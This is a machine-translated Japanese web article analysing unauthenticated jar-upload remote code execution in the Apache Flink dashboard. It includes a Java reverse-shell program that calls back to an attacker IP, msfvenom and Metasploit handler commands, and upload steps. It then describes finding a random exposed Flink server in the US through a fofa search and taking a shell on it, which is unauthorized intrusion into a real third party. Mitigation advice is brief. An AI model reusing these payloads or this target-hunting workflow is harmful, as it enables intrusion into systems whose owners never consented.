ホームページ  >  記事  >  運用・保守  >  Apache flink での jar パッケージのアップロードによって引き起こされるリモート コード実行の分析例

Apache flink での jar パッケージのアップロードによって引き起こされるリモート コード実行の分析例

WBOY
WBOY転載
2023-05-15 13:01:131644ブラウズ

脆弱性の説明:

2019 年 11 月 11 日、セキュリティ エンジニアの Henry Chen は、Apache Flink が承認なしに jar パッケージをアップロードし、リモートでコードが実行される可能性がある脆弱性を公開しました。 Apache Flink ダッシュボードはデフォルトで認証なしでアクセスできるため、悪意のある jar パッケージをアップロードして悪意のあるコードの実行をトリガーすることでシェルを取得できます。

影響範囲

<= 1.9.1 (最新版)

環境設定:

(1) インストール事前に適切な java (java8 以降が必要)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) flink-1.9.1

ダウンロードアドレス: https://www.apache .org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) ダウンロードした圧縮パッケージを解凍します:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz

( 4) 解凍されたディレクトリに移動し、その bin ディレクトリに移動します。

apache flink任意jar包上传导致远程代码执行的示例分析

(5) flink を開始します:

./start-cluster.sh

(6) ブラウザ アクセス検証 (デフォルトのポートは 8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

##上記の図が表示され、確立は成功です。

(7) 起動時の自動起動を設定する(ここで長い間苦労しているのですが、立ち上がれません。source /etc/rc.d/rc.local から直接起動できますが、flink では起動できません)再起動しても起動せず、ようやく解決策を見つけました)

apache flink任意jar包上传导致远程代码执行的示例分析起動時の自動起動設定

脆弱性再発:


jar パッケージの作成手順:

( 1) Java を使用してシェルをリバウンドする方法については、記事 https://klionsec.github.io/2016/09/27/revese-shell/#menu を参照してください

apache flink任意jar包上传导致远程代码执行的示例分析IP とポートを変更することを忘れないでください:

apache flink任意jar包上传导致远程代码执行的示例分析コード:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<p></p>
<p>## b. 次に、「java-->Runnable JAR file<img src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p></p>
<p>」を選択します。c. 次に、対応する Java プロジェクト、エクスポート パス、およびエクスポート ファイル名を選択します<img src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p></p>##図 <p><img src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析">これはリバウンド シェルの jar パッケージを生成します</p>
<p>msf は jar horse を生成します:</p>
<p>(1) msfvenom を使用して jar を生成しますhorse:</p>
<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar

(2) msf のリッスン モジュールを開き、ポート 9999 をリッスンします (jar horse によって設定されたポートと一致するように)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit

# #(3) 生成した jar ホースをアップロードして送信した後 (一部の操作については、以下の再現を参照してください)、シェルを正常に受信したことがわかります:


apache flink任意jar包上传导致远程代码执行的示例分析ローカル複製:

(1) アクセス ターゲット: apache flink任意jar包上传导致远程代码执行的示例分析

(2) [Submit New job] をクリックして、jar をアップロードするためのページを開きます。パッケージ:

apache flink任意jar包上传导致远程代码执行的示例分析

#(3) [新規追加] をクリックして、作成した jar パッケージを選択します:

apache flink任意jar包上传导致远程代码执行的示例分析

#(4)マシン上のポートを監視します (作成した jar パッケージはシェルを直接再バインドします)

(5) アップロードしたばかりの jar パッケージをクリックします: apache flink任意jar包上传导致远程代码执行的示例分析

(6) 次に「送信」をクリックすると、シェルを正常に受信したことがわかります:

apache flink任意jar包上传导致远程代码执行的示例分析

インターネット サイト:

fofa キーワード:apache flink任意jar包上传导致远程代码执行的示例分析

"apache-flink-dashboard" && country="US"

(1) ランダムなターゲットを見つけます:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) [Submit new Job] をクリックすると、jar パッケージをアップロードできることがわかります

apache flink任意jar包上传导致远程代码执行的示例分析

(3) flink の機能を使用して、jar パッケージをアップロードします。

apache flink任意jar包上传导致远程代码执行的示例分析

(4) アップロード後、 vps 上のポート

を監視します (5) 次に、ブラウザに戻り、アップロードした jar パッケージを選択し、[送信] をクリックして送信します。vps がシェル# を正常に受信したことがわかります。

apache flink任意jar包上传导致远程代码执行的示例分析

##脆弱性の修正:


ホワイトリスト IP のみが Apache flink サービスにアクセスできるようにファイアウォール ポリシーを設定し、これをWeb プロキシ (Apache httpd など) サービスのダイジェスト認証。

常に公式 Web サイトに注意を払い、新しいバージョンやパッチの更新を待ちます

以上がApache flink での jar パッケージのアップロードによって引き起こされるリモート コード実行の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。